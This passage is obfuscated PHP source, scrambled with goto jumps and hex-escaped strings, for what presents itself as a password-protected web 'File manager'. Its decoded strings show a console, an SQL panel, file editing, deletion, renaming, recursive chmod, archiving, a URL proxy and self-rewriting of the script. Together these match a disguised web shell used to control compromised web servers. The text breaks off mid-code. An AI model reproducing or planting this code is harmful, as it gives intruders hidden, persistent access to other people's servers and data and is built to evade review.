kncUO; w7nmV: echo AwO5i(); goto pqzUr; l0Oi1: goto iHieP; goto bvKgJ; qHaVn: goto y90jB; goto NpmqP; wVU83: clearstatcache(); goto bXdLl; nwZNh: aAith: goto jTeWd; EfCsE: goto nbwzn; goto wDC8f; ieu9D: goto sbmHn; goto CQJNH; kOu5R: fNOve: goto QpJ9W; rAT9L: rZYnH: goto Kj2IV; oQZ_W: APGYR: goto vld6B; GGsoz: GTWXf: goto CDt0E; XUw6g: goto diH9t; goto EnRgS; mOG1N: if ($Vd7NW["\x69\x64"] != $PHgnI) { goto Mpz5F; } goto E7OWi; mthVB: THziF: goto qnkiN; XFCAj: goto jHpzW; goto xuRH4; Rw9EM: $O10i3 .= Jngij("\x45\x72\x72\157\x72\40\157\x63\x63\x75\x72\162\x65\x64"); goto niGwt; FNa4T: goto Itm6s; goto cv97l; b_bdm: goto bw07I; goto VojnV; V2csy: MXzgI: goto kr_le; ZaAlo: sTTHF: goto FqTXZ; dRzaF: goto ZeFzX; goto igccT; I8MJU: IIkOW: goto lZtLc; U9Eyy: $MLp6z = "\x3c\163\x65\154\x65\143\x74\x20\156\141\x6d\x65\75\x22" . $p9djE . "\137\x74\160\154\42\40\x74\x69\164\154\145\x3d\x22" . JNGij("\x54\x65\155\160\x6c\141\x74\x65") . "\42\40\157\x6e\143\x68\x61\x6e\147\145\75\x22\151\146\x20\x28\164\150\x69\x73\x2e\166\141\x6c\x75\145\x21\x3d\x2d\61\x29\x20\144\157\x63\165\155\x65\x6e\164\x2e\146\x6f\162\x6d\x73\x5b\47\x63\157\x6e\163\157\154\145\47\x5d\x2e\x65\154\145\155\145\156\x74\x73\x5b\x27" . $p9djE . "\x27\135\x2e\x76\x61\x6c\165\x65\x20\x3d\x20\164\x68\151\x73\56\x6f\x70\164\x69\x6f\156\x73\x5b\163\145\154\x65\x63\164\145\x64\x49\x6e\144\x65\170\x5d\56\166\x61\154\x75\145\73\40\145\x6c\163\x65\x20\144\x6f\143\x75\x6d\x65\x6e\164\x2e\x66\x6f\x72\155\163\x5b\47\x63\x6f\156\163\157\154\145\x27\135\56\x65\154\145\x6d\145\156\x74\x73\133\47" . $p9djE . "\47\x5d\x2e\x76\141\x6c\165\145\x20\x3d\x27\x27\x3b\42\40\x3e" . "\xa"; goto LAbBV; En3B1: gtfhp: goto NBuNt; gUyjV: KvvVU: goto hiqA1; AX8TO: goto qw8qg; goto ON6lV; QONlg: RedDK: goto aQPqL; yBF7P: Fw3fR: goto gs4wg; HPFzS: m3zXJ: goto lu2ip; H1a_G: D2usQ: goto jyN1k; Q0UVl: $b0bjX = str_replace("\x7b\42" . $F3M0G[1] . "\42\x7d", $zxGC6, $lpHQQ); goto wRcGO; D1hEX: header("\103\157\x6e\164\145\x6e\164\x2d\x74\171\x70\x65\x3a\x20\151\155\x61\x67\145\57{$sSFKS}"); goto g3qXv; J8raM: gTlwt: goto xGRF2; ZMLdG: goto FvnTE; goto GGsoz; ZwM7H: w0Mmg: goto HYkZN; e3wTk: goto vxWaW; goto hVh0Q; voDgD: ILmTG: goto R1FNf; g4rUe: echo "\x20\x20\x20\x20\40\x20\40\x20\x20\x20\x20\x20\74\151\x6e\160\x75\164\40\x74\x79\160\x65\75\x22\163\x75\142\155\x69\164\42\40\156\x61\x6d\x65\75\42\x73\141\166\145\42\40\166\141\x6c\165\x65\x3d\42"; goto CFG3s; KmZpy: goto Pq2t_; goto y5n8r; y2P1e: goto numUR; goto Eqm_3; EFxCs: BmwWJ: goto sDduN; y0vTI: Itm6s: goto bMtJe; D1HJu: FvnTE: goto uMVFU; nWOc7: wVIMz: goto YazQR; plZnI: goto sIGkg; goto gCk_B; sNNbX: goto ti4bu; goto eYsIf; SG3KE: Ws15T: goto Y9S7F; HarPv: q5Z1O: goto pFSWO; yX5SZ: goto Zq_PM; goto BW9PO; eiGpt: RFN7A: goto cc1lo; rPIFz: if (!isset($_POST["\146\155\137\143\157\156\146\151\x67"])) { goto DED17; } goto wWDmD; KE8IH: goto hlEy0; goto q8mHF; nR5B1: $br2Yn = $VLMCB . $_REQUEST["\x65\144\x69\164"]; goto VHTMg; BzL7X: goto dx1d3; goto YR86S; kMdXZ: if ($IZ9dM) { goto NNJDg; } goto RoVhi; eR786: LLSzP: goto rfHs3; VrcDC: if (!empty($CuIdg)) { goto mWPEf; } goto A8DxO; rpdER: wv7Yy: goto sx7bW; mx0CG: qOOKh: goto XcoWA; Pjvrj: goto VdG0c; goto zYh0W; WQOkH: $e2Q0i .= "\x2e\x67\172"; goto Fhjbs; Tkk73: echo file_get_contents($jTEOW); goto h5qJ9; R2hi_: if (isset($_GET["\x69\155\x67"])) { goto kBptj; } goto WrYQ8; WFrld: echo "\x3c\x2f\x61\x3e\15\xa\x20\x20\x20\40\x20\x20\40\x20\40\x20\x20\40\x20\x20\40\x20\x20\40\x20\x20\40\40\40\40\40\x20\x20\40\x20\40\x20\40\x20\x20\40\40\x20\x20\15\xa\11\x3c\57\164\144\x3e\xd\xa\xd\12\74\57\164\162\76\15\xa\x3c\164\162\76\xd\xa\x20\40\40\40\74\x74\144\40\x63\x6c\x61\x73\x73\x3d\42\x72\157\x77\61\x22\40\x61\154\151\x67\156\75\42\x63\x65\x6e\x74\x65\162\x22\x3e\xd\xa\15\12\x20\x20\x20\x20\40\x20\40\40\x3c\146\157\162\x6d\40\x6e\x61\x6d\x65\75\x22\146\157\x72\x6d\x31\x22\40\x6d\x65\x74\x68\x6f\x64\x3d\42\160\157\x73\x74\x22\x20\x61\x63\x74\151\x6f\x6e\x3d\x22"; goto Jafxn; tP_07: goto UIGPR; goto U2ZZP; VHTMg: goto KCSI8; goto IDBB2; xjA9x: goto ny84R; goto e0VXy; pLQQr: goto splTW; goto a8SeP; Jafxn: goto QQg9h; goto CZ9wv; yP5HG: goto SdC62; goto tvF3w; LdBPv: echo "\74\57\150\62\x3e\74\57\x74\144\76\74\x74\144\76" . FMvoa("\163\161\154"); goto XtDkl; tqKce: goto jPeRN; goto TCLON; Kjj89: goto zkLsL; goto lRvvk; flUfO: $A1eqp = filemtime(__FILE__); goto GIXs6; lDk26: goto z14bl; goto GT91K; C1PDM: irjub: goto cYM3l; Cpq0I: echo "\42\x20\x6e\x61\155\145\x3d\42\x73\x65\x61\162\143\150\137\162\145\143\165\x72\163\151\x76\145\42\x20\166\x61\x6c\x75\x65\75\42"; goto VMtlw; e3ue1: m3Xao: goto EqRgM; qqKCy: goto LlRXO; goto nObwa; Z4Va9: LQJQn: goto oaDMZ; dZvXK: rS1Ti: goto SjoGH; uzc5V: $fahGj = $_POST["\146\x6d\137\x6c\x6f\x67\x69\156"]; goto JBpGI; UNYdg: goto FomOU; goto OC0wU; Vn8KQ: ksWI3: goto tC9yB; Ddp6d: goto uqyqF; goto n1Lct; g8qyZ: XWmMT: goto JDvc5; EioUb: CiCgu: goto iF63h; l0Jh6: bVJcW: goto cYMHn; XV0Se: QsnnP: goto rX2Fb; gp8Cr: goto kcgai; goto xN69T; RL_Cu: goto wuhwR; goto nPvqL; akoAz: $O10i3 .= jNGIj("\x45\x72\x72\157\x72\40\157\143\143\x75\x72\162\145\144") . "\72\40" . JNgij("\156\157\x20\146\151\x6c\145\123\x65\x74"); goto tqKce; ZUZ9X: echo "\42\40\143\157\154\x73\x3d\42\x38\x30\x22\40\x72\x6f\167\x73\75\x22\x31\x30\42\x20\163\x74\x79\x6c\x65\75\42\167\151\x64\164\x68\x3a\x20\x39\x30\45\42\x3e"; goto mVdTD; DyKIB: NfEdQ: goto Sk30S; UHKTZ: JRo18: goto g4rUe; kTh52: goto JB6AE; goto aCSLk; stmxZ: goto Pu5WJ; goto Mpnt1; pKYwk: goto uH_VZ; goto gZSRQ; YDamk: F5JcS: goto CHZ2M; sY8Wz: echo jngIj("\x46\151\154\x65\x20\155\141\156\x61\147\x65\162") . "\40\x2d\x20" . $VLMCB; goto pB7HQ; Xt6n7: goto iU2ny; goto j8afY; jTeWd: $W5Q_F->addFile($GjkCm); goto HYjVM; bKtVu: $p9djE = "\x70\150\160"; goto r_gMT; OxwFN: WZqfb: goto SHZld; D4Km0: if (!empty($Y2HeO)) { goto ruGmV; } goto m2d3c; igccT: goto OVCwM; goto vNB2v; QfU0t: goto IqbNH; goto KlwiA; zOun2: goto JT0TG; goto hLBin; b0cm9: qXvnF: goto Txk2V; w85D_: UyP3V: goto H1ciY; ywrYY: $_REQUEST["\162\x65\x6e\141\x6d\x65"] = $_REQUEST["\156\x65\167\156\x61\155\x65"]; goto drgce; IDBB2: tY8ae: goto pFhre; rRIIi: ggbd4: goto j1E4X; HYjVM: goto N6dF7; goto Y_bWG; By_nA: fLI1c: goto RaiN_; XScuh: omYt2: goto F1Eak; KdG8u: QusPb: goto e9Y2_; ljP5N: sIGkg: goto YS1de; XcoWA: EwoS2: goto yo6rY; TCLON: yL7oa: goto igVz9; lRvvk: pNKz8: goto j2bcM; a_k8Z: $mbeto = $Ga3rH . "\x26\x72\145\x6e\x61\x6d\145\75" . $_REQUEST["\x72\145\x6e\141\x6d\145"] . "\x26\160\141\x74\150\x3d" . $VLMCB; goto uHDKz; s_sku: goto oYwvi; goto uDchg; Bt2v6: Iq2n9: goto v6i8g; zBeqL: Td0HK: goto k7TlF; r3eHH: goto KvvVU; goto QqeFe; aqnPM: goto JTWyk; goto cvWQK; fjZFb: goto FAdru; goto lTEIJ; njvE0: goto yMqGF; goto mRo0F; tjLON: function ydnYl($jTEOW, $ZtkoL, $z1M1I = false) { goto qlfAE; ia4sx: uJM7B: goto i16Uf; WTipu: pf53q: goto qORoH; tD4bx: Hu6dt: goto B1S2q; v210D: WWlqt: goto WVZgq; xmZoa: goto qp5SP; goto ia4sx; qlfAE: goto o0cOm; goto WTipu; yqAb9: qeIvD: goto EWYvd; L5Vj_: if (@is_dir($jTEOW) && $z1M1I) { goto uJM7B; } goto xmZoa; y1DsF: SLgyi: goto cuxee; EWYvd: $IPJhV = mX8mg($jTEOW); goto MK4sc; cuxee: return $Y2HeO; goto sHmlM; B1S2q: qp5SP: goto M091g; sHmlM: goto WWlqt; goto yqAb9; aRk8p: O5Q1E: goto KPkCA; i16Uf: goto qeIvD; goto y1DsF; cNcUH: goto zUz45; goto aRk8p; BZcSl: zUz45: goto L5Vj_; M091g: goto SLgyi; goto BZcSl; IuoZd: goto O5Q1E; goto tD4bx; NW_vg: l3vTt: goto IuoZd; djDxx: o0cOm: goto vmnWE; vmnWE: $Y2HeO = @chmod(realpath($jTEOW), $ZtkoL); goto cNcUH; OdqoZ: goto Hu6dt; goto v210D; qORoH: foreach ($IPJhV as $F0dTR) { goto XBz6w; A6qU8: m7Ali: goto UZFfq; pW0Od: dGDXt: goto A6qU8; XBz6w: $Y2HeO = $Y2HeO && YDNYL($jTEOW . "\x2f" . $F0dTR, $ZtkoL, true); goto pW0Od; UZFfq: } goto NW_vg; MK4sc: goto pf53q; goto djDxx; KPkCA: lZyDj: goto OdqoZ; WVZgq: } goto hrq9R; p5VTb: echo JNGIJ("\x46\x69\154\x65\156\x61\155\x65"); goto hhmly; o4mCy: D3cCg: goto cTjfx; SpZR3: $A1eqp = filemtime(__FILE__); goto RL_Cu; CMats: qqLzt: goto MQ7Z2; jbDHN: PaC5D: goto pRlEX; UTG2w: goto J2_Je; goto itdos; qGYGZ: sI6w2: goto uIv4f; ijacK: echo "\42\x3e"; goto afVAO; e1uuR: $jICw7 = $_POST["\x74\160\x6c\137\145\144\x69\x74\145\x64"]; goto Q7Sn5; VcoyU: goto CwYne; goto X7Bsf; pzaH4: YjOgI: goto QBeGa; FeBmA: goto b_lYE; goto a2E9X; aeSrA: if (!isset($_GET["\147\x7a\x66\x69\154\x65"])) { goto N8qwO; } goto cp0rn; qTT1g: r7Ta9: goto Q0QoH; Ia3W2: goto CsZvS; goto FB6m_; wJ7eq: echo "\15\xa\15\xa\x3c\x21\144\x6f\143\x74\x79\x70\x65\40\x68\x74\x6d\x6c\x3e\15\xa\x3c\x68\x74\155\x6c\76\15\12\x3c\150\x65\141\x64\76\15\12\x3c\155\145\x74\141\x20\x63\150\141\162\x73\x65\x74\75\x22\165\164\x66\55\x38\x22\40\x2f\76\15\12\15\12\74\155\145\x74\141\40\x6e\x61\x6d\145\75\42\166\x69\x65\167\x70\157\162\x74\x22\x20\x63\x6f\156\164\145\156\164\75\42\x77\151\144\164\x68\75\x64\145\x76\151\143\145\x2d\167\151\x64\x74\x68\x2c\40\151\x6e\x69\164\x69\141\x6c\55\163\143\x61\x6c\x65\75\61\x22\x20\x2f\76\15\xa\x20\40\x20\x20\40\x20\40\40\40\40\40\x20\x20\x20\40\x20\x20\x20\x20\40\40\x20\40\40\x20\40\40\40\x20\x20\x20\40\x20\xd\xa\74\164\151\x74\154\145\x3e" . jNGIj("\106\151\154\x65\40\x6d\x61\x6e\141\x67\x65\162") . "\x3c\57\164\x69\164\154\x65\76\15\12\40\x20\x20\40\40\x20\x20\x20\40\40\x20\x20\40\x20\x20\x20\x20\40\x20\40\40\40\40\40\40\x20\x20\x20\40\x20\40\40\xd\12\x3c\57\150\x65\x61\144\76\xd\12\15\xa\x3c\142\157\x64\x79\x3e\15\12\x3c\x66\157\162\155\40\x61\x63\164\x69\157\156\x3d\42\x22\40\x6d\145\x74\150\157\x64\x3d\42\160\x6f\163\x74\42\x3e\xd\12" . Jngij("\114\x6f\147\x69\156") . "\x20\74\x69\x6e\160\x75\164\40\156\141\155\x65\x3d\x22\154\x6f\x67\x69\156\x22\x20\164\x79\160\145\75\x22\164\145\x78\164\x22\76\46\x6e\x62\x73\160\73\x26\156\142\163\160\x3b\x26\x6e\x62\x73\x70\x3b\xd\12\15\12" . jNgij("\x50\141\x73\x73\x77\x6f\162\144") . "\40\x3c\151\x6e\160\165\164\40\156\x61\x6d\145\x3d\x22\x70\x61\x73\x73\167\x6f\162\x64\x22\x20\164\x79\x70\145\75\42\x70\x61\x73\x73\x77\x6f\x72\x64\42\x3e\46\x6e\142\x73\x70\x3b\x26\x6e\x62\x73\160\x3b\46\x6e\x62\x73\160\x3b\15\12\15\xa\x3c\151\156\x70\165\164\x20\164\171\x70\x65\x3d\x22\x73\165\142\x6d\151\x74\x22\x20\166\141\x6c\165\145\x3d\x22" . JNgIJ("\x45\x6e\x74\x65\x72") . "\x22\x20\143\154\x61\163\x73\75\42\146\x6d\137\x69\x6e\160\x75\x74\42\x3e\15\12\15\12\74\57\146\x6f\162\155\76\xd\12\xd\12" . TQg63($PHgnI) . "\15\12\40\40\40\40\x20\40\40\40\40\x20\40\40\40\40\x20\x20\40\40\x20\40\40\40\x20\40\x20\40\40\x20\40\40\x20\40\x20\40\40\x20\x20\x20\40\xd\12\74\57\142\157\x64\x79\x3e\15\xa\74\x2f\150\x74\x6d\154\76\15\xa\40\40\x20\x20\40\x20\x20\40\x20\40\x20\x20\40\40\40\x20\x20\x20\40\40\40\x20\40\40\x20\40\40\40\40\x20\x20\x20\15\12"; goto z0dzy; rtNye: r5SL1: goto EJC1P; adEhT: echo jnGIj("\x4e\x65\x77\40\146\151\154\x65"); goto IZTaa; DRLr1: goto ENn38; goto Xnp1Y; aEfiL: tmsps: goto ejLp5; p60Qe: Yj_TZ: goto r7z_L; WTbBI: QWYGj: goto bG4U9; wDC8f: EEhq1: goto hbsKt; gs4wg: goto ZeFzX; goto qBfvS; nfqTJ: hwPET: goto W_t59; PjnWG: H0aBN: goto PsPES; gzaZt: goto UUwT8; goto CIeLf; gejDf: $lqsgN = "\146\x6d\x5f" . $p9djE; goto SQjkl; dy1sf: $O10i3 .= "\x20" . jnGIj("\114\x6f\147\x69\x6e") . "\72\40" . $_POST["\146\x6d\137\x6c\157\x67\151\x6e"]["\154\157\147\151\x6e"]; goto M_q9N; w0AXQ: if (!empty($C0tA4["\x73\x68\157\167\137\160\150\160\137\151\156\x69"])) { goto JyyuB; } goto oj496; WFUUm: LMUCw: goto uLqIG; Klo3m: echo "\x22\x3e\xd\12\40\x20\x20\40\x20\40\x20\x20\40\x20\x20\40\40\x20\x20\x20\40\40\x20\x20\40\40\40\40\x20\40\40\40\40\40\40\40\x20\40\x20\x20\40\40\15\12\x9\x9\40\40\40\40\40\40\40\40\x20\11\74\57\x66\157\162\x6d\76\xd\xa\11\11\40\40\40\40\40\40\40\x20\x20"; goto lCsbu; rXjb5: PIWSb: goto pu0YB; A8Jei: function TQg63($uZEr7 = "\x65\156") { return "\15\12\40\x20\40\40\x20\40\40\x20\40\x20\40\40\40\x20\x20\x20\40\40\40\x20\40\40\x20\x20\x20\40\x20\40\x20\40\x20\x20\40\40\x20\40\x20\40\x20\x20\xd\12\74\x66\x6f\x72\x6d\x20\x6e\x61\x6d\145\x3d\42\x63\150\x61\x6e\x67\x65\x5f\154\141\156\147\42\40\155\145\164\x68\x6f\144\75\42\x70\x6f\163\164\42\40\141\x63\x74\151\x6f\156\x3d\x22\x22\x3e\15\12\15\12\11\74\163\145\154\145\143\x74\x20\x6e\141\155\145\x3d\42\146\155\x5f\154\x61\x6e\147\42\40\164\151\x74\154\145\x3d\x22" . jNgij("\114\x61\156\147\165\141\147\x65") . "\x22\x20\x6f\156\x63\x68\141\156\x67\x65\x3d\x22\144\157\x63\165\x6d\x65\156\x74\x2e\x66\157\162\x6d\163\133\47\x63\x68\x61\x6e\x67\145\x5f\x6c\141\156\x67\x27\x5d\56\163\165\x62\155\x69\x74\50\51\42\x20\76\15\12\11\x9\40\x20\x20\x20\x20\40\40\40\40\74\x6f\x70\164\151\157\x6e\x20\x76\141\154\165\145\75\x22\x65\156\x22\40" . ($uZEr7 == "\x65\156" ? "\163\145\154\145\x63\x74\145\144\75\x22\163\x65\154\145\x63\x74\x65\x64\42\40" : '') . "\76" . JNGIj("\x45\156\147\154\x69\x73\x68") . "\x3c\x2f\x6f\160\164\x69\157\x6e\76\15\12\x9\11\40\x20\40\40\x20\x20\x20\x20\x20\x3c\x6f\160\x74\151\x6f\156\x20\166\141\x6c\x75\145\75\x22\144\x65\42\40" . ($uZEr7 == "\x64\145" ? "\163\x65\x6c\x65\x63\164\145\x64\x3d\42\163\x65\x6c\x65\143\164\x65\144\x22\40" : '') . "\x3e" . jNgiJ("\107\x65\x72\x6d\141\x6e") . "\x3c\x2f\157\x70\164\151\x6f\x6e\x3e\15\12\x9\x9\40\x20\x20\40\x20\x20\40\40\x20\74\x6f\x70\x74\151\157\156\40\x76\x61\x6c\x75\x65\x3d\42\x72\165\x22\40" . ($uZEr7 == "\x72\165" ? "\163\145\154\145\143\164\x65\x64\75\x22\163\x65\154\x65\x63\x74\x65\144\42\40" : '') . "\x3e" . JnGij("\x52\165\163\163\151\141\156") . "\x3c\x2f\x6f\x70\x74\151\157\156\76\xd\12\15\12\x9\x9\40\x20\40\x20\x20\40\40\40\40\74\157\x70\x74\x69\x6f\156\x20\x76\141\x6c\165\x65\x3d\x22\146\x72\42\40" . ($uZEr7 == "\146\x72" ? "\x73\x65\154\x65\143\x74\145\144\x3d\42\163\x65\154\x65\143\164\x65\x64\42\40" : '') . "\x3e" . jNgIJ("\x46\x72\145\156\x63\150") . "\74\57\x6f\x70\164\151\157\x6e\76\15\xa\x20\40\40\x20\x20\x20\40\x20\40\x20\40\40\40\x20\x20\40\x20\40\x20\x20\40\40\x20\40\40\x20\x20\x20\40\40\x20\40\x20\x20\x20\x20\x20\xd\12\11\x9\x20\x20\40\x20\40\x20\x20\40\40\x3c\x6f\160\x74\151\x6f\x6e\40\x76\141\x6c\165\145\x3d\x22\x75\x6b\x22\x20" . ($uZEr7 == "\x75\x6b" ? "\163\145\x6c\x65\143\164\145\144\x3d\42\x73\x65\x6c\145\143\x74\x65\x64\42\40" : '') . "\x3e" . JNgij("\125\153\x72\141\x69\x6e\151\141\x6e") . "\74\57\157\x70\164\151\x6f\x6e\76\xd\12\xd\12\x9\74\57\x73\x65\154\x65\x63\x74\x3e\xd\12\74\57\146\157\x72\x6d\x3e\15\12\15\12"; } goto NZDvo; nDOrR: goto c1mhX; goto sQNPV; fnFa_: goto ifryZ; goto i1IYx; K1m13: $fahGj["\x61\x75\x74\150\157\x72\x69\172\145"] = isset($fahGj["\x61\165\164\150\157\x72\x69\172\145"]) ? $fahGj["\141\165\164\x68\x6f\x72\x69\172\x65"] : 0; goto O1qWD; yhK5b: iU2ny: goto Ln3ax; W2FiS: echo "\x9\74\x2f\x74\144\76\15\12\x20\x20\40\x20\x20\40\x20\x20\40\40\40\x20\x20\x20\40\x20\x20\40\x20\40\40\40\x20\40\40\40\x20\15\12\x3c\x2f\x74\x72\76\15\xa\15\xa\x3c\164\x72\x3e\xd\xa\xd\12\x20\x20\x20\x20\x3c\164\x64\40\143\x6c\141\163\163\x3d\42\162\157\167\61\42\x3e\15\xa\xd\xa\x20\40\40\x20\40\x20\x20\40\74\141\40\150\x72\x65\x66\x3d\x22"; goto Ay_XD; xLvdM: goto NPiDP; goto Bk_Xe; UlOmg: goto AvLkZ; goto qBmFY; vwJn5: if (!isset($_GET["\x67\172"])) { goto unacK; } goto L5MLW; oO9j1: RGTE5: goto fz1tB; OLx0x: $W5Q_F->buildFromDirectory($GjkCm); goto K2iah; a2E9X: HaCke: goto pymtD; BgVGs: HGIbb: goto GAQlC; qBmFY: JB6AE: goto p5VTb; nNc5F: if (!(!empty($_REQUEST["\144\145\x6c\x65\x74\145"]) && $_REQUEST["\144\145\x6c\145\164\x65"] != "\56")) { goto JYrCO; } goto jWfSI; iWGX1: goto yoFqW; goto fsoOP; k7TlF: ZeFzX: goto HLuzn; JyoUg: Gb0Ck: goto PxDtz; KVRD0: goto kA8M0; goto kYCJa; OHREj: goto osQTR; goto EioUb; zQmO5: $e2Q0i .= "\x2e\147\172"; goto CekXj; EJC1P: function ixpLJ($F3M0G) { goto A1VC4; hS_m_: mMqUK: goto flv39; SyKff: aD8UD: goto S9m1I; PpXj3: nMyrO: goto yj71P; cpT75: $mbeto = $rdvs0 . urlencode($mbeto); goto VJuIa; UGdc4: goto WPQqa; goto F_SXm; VJuIa: goto SJgYu; goto TrWY0; crs38: $q4fMM = parse_url($IZ9dM); goto LKIA8; T2UD8: goto XMlic; goto CleTr; Mzpd_: goto MxuEe; goto SyKff; I0shL: $mbeto = substr_replace($mbeto, $URggn, 0, 2); goto HtbGR; FHAin: Gzt8O: goto PpuLQ; EBfCL: AYEVB: goto x9eYL; wVt6L: $mbeto = substr_replace($mbeto, $URggn, 0, 1); goto HtQCs; A1VC4: goto gKfYV; goto rIXnk; mwOeg: if (!(substr($mbeto, 0, 2) == "\x2f\57")) { goto aD8UD; } goto Mzpd_; fNtVW: DyKGs: goto YL7Bv; F_SXm: lKzxe: goto WL8be; pjge5: XMlic: goto IdH4_; ujMTT: vr6uo: goto hjpyU; WnSGX: goto XMlic; goto WtbwM; I6AVj: goto snusV; goto kaVYm; biT3T: goto oltVS; goto fNtVW; KUKZk: KN8ag: goto WYbN4; qGIkw: GKYfR: goto yac8z; HtbGR: goto lH1nf; goto h1H9s; UN3yc: MlnwH: goto GRPii; JJBsi: lH1nf: goto Q0sy2; flv39: goto YZVdi; goto wLKHV; v5_1D: goto hTBy2; goto KilBa; wtogE: MNAD_: goto biT3T; nQAJA: goto GvIRn; goto RGIlk; Ayyln: if (!($F3M0G[1] == "\150\162\145\x66" && !strripos($mbeto, "\143\x73\163"))) { goto vr6uo; } goto DM1M5; TrWY0: Ngr5L: goto bbdBd; Ycyen: YXnW2: goto QPx1m; PpuLQ: if (!strripos($mbeto, "\x63\x73\163")) { goto GKYfR; } goto OHt5R; hjpyU: goto Gzt8O; goto PpXj3; yj71P: ODR04: goto jzjiK; OHt5R: goto sBiUs; goto qGIkw; NLGfn: goto Bb5is; goto sZdvG; vBI7r: $mbeto = str_replace("\46\141\155\x70\73", "\x26", $F3M0G[2]); goto nQAJA; EvZhX: OMY6p: goto MwGqO; CleTr: goto lLgh4; goto PQ73o; IdH4_: goto ZOoHz; goto NOu4W; GTyqm: goto c_49a; goto xsPSG; HtQCs: goto mMqUK; goto m0Zjn; MwGqO: $rdvs0 = $ksXI5 . "\x3f\x70\162\157\170\171\x3d\164\x72\165\x65\46\165\x72\154\75"; goto iiQUg; FkFRh: WPQqa: goto eDKSn; ypVUT: goto Ngr5L; goto PXdd_; jzjiK: goto q0xs3; goto iTGTW; RGIlk: RUkfv: goto Ayyln; U5T8Q: goto Fs3Df; goto wtogE; oojek: gKfYV: goto vBI7r; MEb7L: goto YZVdi; goto UGdc4; GRPii: $URggn = $q4fMM["\163\143\x68\145\155\145"] . "\72\57\57" . $q4fMM["\x68\157\163\164"] . "\x2f"; goto NLGfn; Q0sy2: goto YZVdi; goto ir7Tn; o4fik: sBiUs: goto ObGjH; rFLUB: goto OMY6p; goto b3CmM; kaVYm: AJM66: goto w1wGK; bbdBd: YZVdi: goto vDoCG; DM1M5: goto ODR04; goto ujMTT; YL7Bv: $mbeto = $URggn . $mbeto; goto I6AVj; sZdvG: GvIRn: goto N7R_R; LpdBM: c_49a: goto Xj_G6; C6kcQ: return $F3M0G[1] . "\75\x22" . $mbeto . "\x22"; goto JhLZx; LKIA8: goto MlnwH; goto sGI96; Xj_G6: if (!(substr($mbeto, 0, 4) == "\150\x74\164\x70")) { goto AYEVB; } goto GMun9; DplHa: aY0gq: goto KRvJ3; x9eYL: goto DyKGs; goto hS_m_; PQ73o: snusV: goto MEb7L; KRvJ3: goto YZVdi; goto WnFve; C5g3O: $ksXI5 = euuMg() . "\57" . basename(__FILE__); goto rFLUB; HXvqC: gLu8r: goto yvIAm; N7R_R: $IZ9dM = isset($_GET["\x75\162\154"]) ? $_GET["\165\x72\x6c"] : ''; goto v5_1D; iTGTW: FGlBA: goto I0shL; RQEuX: SJgYu: goto T2UD8; w1wGK: $mbeto = substr_replace($mbeto, FBjqk(), 0, 2); goto O43cH; m0Zjn: hTBy2: goto crs38; VBD0g: if (!(substr($mbeto, 0, 1) == "\x2f")) { goto MNAD_; } goto U5T8Q; yac8z: goto R_MRC; goto FkFRh; eDKSn: MxuEe: goto I6plF; QPx1m: wMg2X: goto ahJa2; iiQUg: goto NNN1X; goto KUKZk; y6Wax: we6iS: goto wVt6L; Dh1EU: goto wMg2X; goto L6nJq; WtbwM: goto nMyrO; goto EvZhX; vDoCG: goto RUkfv; goto DplHa; KilBa: ZOoHz: goto C6kcQ; I6plF: goto AJM66; goto oojek; h1H9s: R_MRC: goto WnSGX; ir7Tn: goto lKzxe; goto Ycyen; NOu4W: NNN1X: goto cpT75; JhLZx: goto KN8ag; goto RQEuX; GMun9: goto sH2Gg; goto EBfCL; O43cH: goto aY0gq; goto HXvqC; S9m1I: goto ofchB; goto JJBsi; b3CmM: oltVS: goto nZ1Z0; yvIAm: Fs3Df: goto kNFTM; xsPSG: ZapnM: goto pjge5; wLKHV: goto YXnW2; goto y6Wax; WnFve: goto gLu8r; goto nj72_; ObGjH: goto ZapnM; goto UN3yc; sGI96: lLgh4: goto o4fik; ahJa2: goto FGlBA; goto LpdBM; kNFTM: goto we6iS; goto FHAin; nZ1Z0: if (!(substr($mbeto, 0, 2) == "\x2e\x2f")) { goto OSttM; } goto Dh1EU; WL8be: sH2Gg: goto ypVUT; nj72_: ofchB: goto VBD0g; PXdd_: q0xs3: goto C5g3O; L6nJq: OSttM: goto GTyqm; rIXnk: Bb5is: goto mwOeg; WYbN4: } goto djqHD; YKZnA: h9SMZ: goto e7OaW; FN0iG: goto c_UHA; goto n_Cca; ttR7z: MzB13: goto bgDLr; OPMF3: goto BvzYd; goto QyV13; GIXs6: goto PLNHN; goto nqyHM; tA71b: goto hzIfA; goto kCM3O; j4qgu: cGiz0: goto xjA9x; Cr3pf: goto mrLXd; goto qANgZ; Z0F1c: goto QJaLr; goto tULuK; CDt0E: if ($_POST["\146\x6d\x5f\x6c\x6f\x67\x69\156"]["\160\x61\x73\163\167\157\162\x64"] != $fahGj["\x70\141\163\163\x77\157\x72\x64"]) { goto w2pub; } goto PxOoo; tULuK: aS8B1: goto vue7e; lOUd1: goto sZnKm; goto idHxu; xlHHU: clearstatcache(); goto UTG2w; JUGBi: goto TwkGA; goto JrJvc; MxMpQ: jLQJl: goto yUcwb; BNdJW: YDDXs: goto PHvTw; b3DNn: U1ngS: goto R_IfX; dCoMq: echo "\74\x21\144\x6f\143\x74\171\160\145\40\x68\164\155\x6c\76\xd\12\15\12\x3c\x68\x74\155\154\x3e\15\12\74\150\145\141\x64\76\40\40\40\x20\40\xd\xa\15\xa\x9\x3c\x6d\x65\x74\x61\x20\x63\150\141\x72\163\x65\x74\75\x22\165\164\146\x2d\70\42\x20\x2f\x3e\xd\xa\x9\74\x6d\x65\x74\x61\x20\156\x61\155\145\x3d\x22\166\x69\x65\x77\x70\157\x72\x74\42\x20\143\157\156\164\145\156\x74\75\x22\167\x69\144\x74\150\x3d\x64\x65\166\151\143\x65\55\x77\x69\144\164\x68\x2c\x20\x69\156\x69\164\x69\x61\x6c\55\x73\x63\141\x6c\x65\x3d\61\42\40\x2f\x3e\xd\12\xd\xa\40\x20\40\40\x3c\x74\x69\164\154\x65\76"; goto fgbtu; OxuRk: goto n47rP; goto hxxRJ; m2d3c: goto m3Xao; goto XKwRT; UcoSb: goto fuOeu; goto zMOfu; XcrLs: goto JY6O_; goto IOG0k; FTkKU: goto Bz9MP; goto t7w15; aAgkR: if (!file_put_contents(__FILE__, $b0bjX)) { goto acxW0; } goto k01kt; blX0L: kunFb: goto vQyW0; h0oF5: T6uTi: goto dEhOw; yUAe5: goto iQFUW; goto JyoUg; amlDb: X7ONl: goto zTWq5; ClG1g: iWSqw: goto h8D2n; gzSrn: echo jnGiJ("\103\x6f\x6e\163\157\x6c\x65"); goto BWjvM; U4nu_: goto E_S9R; goto tCai4; hxxRJ: ohSKn: 